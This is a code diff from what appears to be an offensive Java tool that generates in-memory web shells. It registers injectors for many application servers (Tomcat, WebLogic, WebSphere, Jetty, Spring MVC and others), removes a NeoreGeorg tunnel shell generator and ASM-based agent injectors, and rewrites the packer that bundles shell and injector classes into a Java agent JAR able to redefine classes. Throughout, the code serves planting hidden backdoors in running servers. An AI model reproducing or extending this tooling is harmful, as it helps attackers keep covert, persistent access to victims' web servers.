-            TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
-            String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
-            DynamicType.Builder<?> innerBuilder = new ByteBuddy()
-                    .with(TypeValidation.DISABLED)
-                    .redefine(innerTypeDesc, classFileLocator)
-                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
-                    .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
-
-            try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
-                for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
-                    bytes.put(newInnerClassName, entry.getValue());
-                }
-            }
-        }
-        return bytes;
-    }
-
     @SneakyThrows
     public byte[] generate() {
         DynamicType.Builder<?> builder = getBuilder();

generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java

@@ -1,66 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-
-import java.util.HashMap;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2025/2/12
- */
-public class NeoreGeorgGenerator {
-    private final ShellConfig shellConfig;
-    private final NeoreGeorgConfig neoreGeorgConfig;
-
-    public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
-        this.shellConfig = shellConfig;
-        this.neoreGeorgConfig = neoreGeorgConfig;
-    }
-
-    public DynamicType.Builder<?> getBuilder() {
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(neoreGeorgConfig.getShellClass())
-                .name(neoreGeorgConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
-                        put("headerName", neoreGeorgConfig.getHeaderName());
-                        put("headerValue", neoreGeorgConfig.getHeaderValue());
-                    }})
-            );
-        } else {
-            builder = builder
-                    .field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
-                    .field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
-        }
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

@@ -1,13 +1,9 @@
 package com.reajason.javaweb.memshell.packer.jar;
 
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
-import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
 import org.apache.commons.io.IOUtils;
-import org.objectweb.asm.Opcodes;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -17,99 +13,48 @@ import java.net.URL;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.util.Enumeration;
-import java.util.Map;
+import java.util.jar.JarEntry;
-import java.util.jar.*;
+import java.util.jar.JarFile;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
 
 /**
  * @author ReaJason
  * @since 2025/1/1
  */
 public class AgentJarPacker implements JarPacker {
-    private static Path tempBootPath;
+
+    static Path tempBootPath;
 
     @Override
     @SneakyThrows
     public byte[] packBytes(GenerateResult generateResult) {
-        Manifest manifest = createManifest(generateResult.getInjectorClassName());
+        String mainClass = generateResult.getInjectorClassName();
-        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        String advisorClass = generateResult.getShellClassName();
 
-        String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
-        boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
-
-        try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
-            addDependencies(targetJar, relocatePrefix, isAsm);
-            addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
-        }
-
-        return outputStream.toByteArray();
-    }
-
-    private Manifest createManifest(String mainClass) {
         Manifest manifest = new Manifest();
-        Attributes attributes = manifest.getMainAttributes();
+        manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
-        attributes.putValue("Manifest-Version", "1.0");
+        manifest.getMainAttributes().putValue("Agent-Class", mainClass);
-        attributes.putValue("Agent-Class", mainClass);
+        manifest.getMainAttributes().putValue("Premain-Class", mainClass);
-        attributes.putValue("Premain-Class", mainClass);
+        manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
-        attributes.putValue("Can-Redefine-Classes", "true");
+        manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
-        attributes.putValue("Can-Retransform-Classes", "true");
+        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
-        return manifest;
+        try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
-    }
+            addDependency(targetJar, ByteBuddy.class);
 
-    @SneakyThrows
+            targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
-    private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
+            targetJar.write(generateResult.getInjectorBytes());
-        if (isAsm) {
+            targetJar.closeEntry();
-            addDependency(targetJar, Opcodes.class, true, relocatePrefix);
+
-        } else {
+            targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
-            addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
+            targetJar.write(generateResult.getShellBytes());
+            targetJar.closeEntry();
         }
+        return byteArrayOutputStream.toByteArray();
     }
 
     @SneakyThrows
-    private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
+    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
-                                 String relocatePrefix, boolean isRelocateEnabled) {
-        String dependencyPackage = isRelocateEnabled ?
-                Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
-
-        // Add injector class
-        addClassEntry(targetJar,
-                generateResult.getInjectorClassName(),
-                generateResult.getInjectorBytes(),
-                dependencyPackage,
-                relocatePrefix,
-                isRelocateEnabled);
-
-        // Add shell class
-        addClassEntry(targetJar,
-                generateResult.getShellClassName(),
-                generateResult.getShellBytes(),
-                dependencyPackage,
-                relocatePrefix,
-                isRelocateEnabled);
-
-        // Add inner classes
-        for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
-            addClassEntry(targetJar,
-                    entry.getKey(),
-                    entry.getValue(),
-                    dependencyPackage,
-                    relocatePrefix,
-                    isRelocateEnabled);
-        }
-    }
-
-    @SneakyThrows
-    private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
-                               String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
-        targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
-        byte[] processedBytes = isRelocateEnabled ?
-                ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
-                classBytes;
-        targetJar.write(processedBytes);
-        targetJar.closeEntry();
-    }
-
-    @SneakyThrows
-    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
         String packageToMove = baseClass.getPackage().getName().replace('.', '/');
         URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
         String sourceUrlString = sourceUrl.toString();
@@ -132,16 +77,8 @@ public class AgentJarPacker implements JarPacker {
             String entryName = entry.getName();
             if (entryName.startsWith(packageToMove)) {
                 InputStream entryStream = sourceJar.getInputStream(entry);
-                byte[] bytes = IOUtils.toByteArray(entryStream);
+                targetJar.putNextEntry(new JarEntry(entryName));
-                if (relocate) {
+                IOUtils.copy(entryStream, targetJar);
-                    targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
-                    if (bytes.length > 0) {
-                        bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
-                    }
-                } else {
-                    targetJar.putNextEntry(new JarEntry(entryName));
-                }
-                targetJar.write(bytes);
                 targetJar.closeEntry();
                 entryStream.close();
             }
@@ -149,29 +86,27 @@ public class AgentJarPacker implements JarPacker {
         sourceJar.close();
     }
 
-    /**
-     * Extracts a JAR file to a temporary directory
-     *
-     * @param jarPath  Path to the source JAR file
-     * @param tempPath Path to the temporary directory
-     */
     @SneakyThrows
     public static void unzip(String jarPath, String tempPath) {
         try (JarFile jarFile = new JarFile(jarPath)) {
             Enumeration<JarEntry> entries = jarFile.entries();
             while (entries.hasMoreElements()) {
                 JarEntry jarEntry = entries.nextElement();
-                File targetFile = new File(tempPath, jarEntry.getName());
+                String entryName = jarEntry.getName();
-
+                File file = new File(tempPath, entryName);
                 if (jarEntry.isDirectory()) {
-                    targetFile.mkdirs();
+                    file.mkdir();
-                    continue;
+                } else {
-                }
+                    InputStream inputStream = null;
-
+                    FileOutputStream outputStream = null;
-                targetFile.getParentFile().mkdirs();
+                    try {
-                try (InputStream inputStream = jarFile.getInputStream(jarEntry);
+                        inputStream = jarFile.getInputStream(jarEntry);
-                     FileOutputStream outputStream = new FileOutputStream(targetFile)) {
+                        outputStream = new FileOutputStream(file);
-                    IOUtils.copy(inputStream, outputStream);
+                        IOUtils.copy(inputStream, outputStream);
+                    } finally {
+                        IOUtils.closeQuietly(inputStream);
+                        IOUtils.closeQuietly(outputStream);
+                    }
                 }
             }
         }

generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java

@@ -45,7 +45,7 @@ public abstract class AbstractShell {
         return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
     }
 
-    public Set<ShellTool> getSupportedShellTools() {
+    public Set<ShellTool> getSupportedShellTools(){
         return Collections.unmodifiableSet(map.keySet());
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java

@@ -22,8 +22,7 @@ public class BesShell extends AbstractShell {
                 .addInjector(LISTENER, BesListenerInjector.class)
                 .addInjector(VALVE, BesValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -51,9 +49,7 @@ public class GlassFishShell extends AbstractShell {
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java

@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -31,9 +29,7 @@ public class InforSuiteShell extends AbstractShell {
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java

@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -28,9 +26,7 @@ public class JbossShell extends AbstractShell {
                 .addInjector(LISTENER, JbossListenerInjector.class)
                 .addInjector(VALVE, JbossValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.jetty.*;
+import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
+import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
+import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
+import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -40,7 +43,6 @@ public class JettyShell extends AbstractShell {
                 .addInjector(LISTENER, JettyListenerInjector.class)
                 .addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
                 .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
-                .addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.resin.*;
+import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
+import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
+import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -32,7 +35,6 @@ public class ResinShell extends AbstractShell {
                 .addInjector(FILTER, ResinFilterInjector.class)
                 .addInjector(LISTENER, ResinListenerInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java

@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server;
 
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
-import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
                 .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
                 .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
                 .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
-                .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

@@ -42,9 +42,7 @@ public class TomcatShell extends AbstractShell {
                 .addInjector(VALVE, TomcatValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
                 .build();
     }

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java

@@ -25,9 +25,7 @@ public class TongWeb6Shell extends AbstractShell {
                 .addInjector(VALVE, TongWebValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java

@@ -25,9 +25,7 @@ public class TongWeb7Shell extends AbstractShell {
                 .addInjector(VALVE, TongWebValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.undertow.*;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -45,7 +48,6 @@ public class UndertowShell extends AbstractShell {
                 .addInjector(LISTENER, UndertowListenerInjector.class)
                 .addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
                 .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
-                .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.weblogic.*;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -22,7 +25,6 @@ public class WebLogicShell extends AbstractShell {
                 .addInjector(FILTER, WebLogicFilterInjector.class)
                 .addInjector(LISTENER, WebLogicListenerInjector.class)
                 .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
-                .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.websphere.*;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -33,7 +36,6 @@ public class WebSphereShell extends AbstractShell {
                 .addInjector(FILTER, WebSphereFilterInjector.class)
                 .addInjector(LISTENER, WebSphereListenerInjector.class)
                 .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
-                .addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java

@@ -87,7 +87,7 @@ public class CommonUtil {
         return sb.toString();
     }
 
-    public static String getRandomPackageName() {
+    private static String getRandomPackageName() {
         return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
     }
 

generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java

@@ -1,32 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.memshell.config.CustomConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.utils.CommonUtil;
-import lombok.SneakyThrows;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.jar.asm.ClassReader;
-import org.apache.commons.codec.binary.Base64;
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author ReaJason
- * @since 2025/3/19
- */
-class CustomShellGeneratorTest {
-
-    @Test
-    @SneakyThrows
-    void test() {
-        byte[] bytes = new ByteBuddy()
-                .subclass(Object.class)
-                .name(CommonUtil.generateShellClassName()).make().getBytes();
-        String className = CommonUtil.generateShellClassName();
-        byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.encodeBase64String(bytes)).build()).getBytes();
-
-        ClassReader classReader = new ClassReader(bytes1);
-        assertEquals(className, classReader.getClassName().replace("/", "."));
-    }
-}

generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java

@@ -1,32 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.memshell.config.InjectorConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
-import org.junit.jupiter.api.Test;
-
-import java.util.Map;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author ReaJason
- * @since 2025/3/27
- */
-class InjectorGeneratorTest {
-
-    @Test
-    void testAsm() {
-        InjectorConfig injectorConfig = InjectorConfig.builder()
-                .shellClassBytes("hello".getBytes())
-                .shellClassName("hello")
-                .injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
-                .build();
-        InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
-//        injectorGenerator.generate();
-        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
-        assertEquals(2, innerClassBytes.size());
-        innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
-    }
-}

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/DelegatingServletOutputStream.java

@@ -1,28 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool;
-
-import javax.servlet.ServletOutputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-
-public class DelegatingServletOutputStream extends ServletOutputStream {
-    private final ByteArrayOutputStream delegate;
-
-    public DelegatingServletOutputStream(ByteArrayOutputStream delegate) {
-        this.delegate = delegate;
-    }
-
-    @Override
-    public void write(int b) throws IOException {
-        delegate.write(b);
-    }
-
-    @Override
-    public void write(byte[] b) throws IOException {
-        delegate.write(b);
-    }
-
-    @Override
-    public void write(byte[] b, int off, int len) throws IOException {
-        delegate.write(b, off, len);
-    }
-}

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/FilterChainInterface.java

@@ -1,17 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletException;
-import javax.servlet.ServletRequest;
-import javax.servlet.ServletResponse;
-import java.io.IOException;
-
-/**
- * @author ReaJason
- * @since 2025/3/30
- */
-public interface FilterChainInterface {
-    void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
-
-    void doFilterInternal();
-}

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/TestFilterChain.java

@@ -1,22 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletException;
-import javax.servlet.ServletRequest;
-import javax.servlet.ServletResponse;
-import java.io.IOException;
-
-/**
- * @author ReaJason
- * @since 2025/3/30
- */
-public class TestFilterChain implements FilterChainInterface {
-
-    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
-        doFilterInternal();
-    }
-
-    public void doFilterInternal() {
-        System.out.println("doFilterInternal");
-    }
-}

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java

@@ -1,106 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool.command;
-
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
-import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
-import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
-import com.reajason.javaweb.util.ClassUtils;
-import lombok.SneakyThrows;
-import me.n1ar4.clazz.obfuscator.api.ClassObf;
-import me.n1ar4.clazz.obfuscator.api.Result;
-import me.n1ar4.clazz.obfuscator.config.BaseConfig;
-import org.apache.commons.io.IOUtils;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-import org.objectweb.asm.*;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletOutputStream;
-import javax.servlet.ServletRequest;
-import javax.servlet.ServletResponse;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
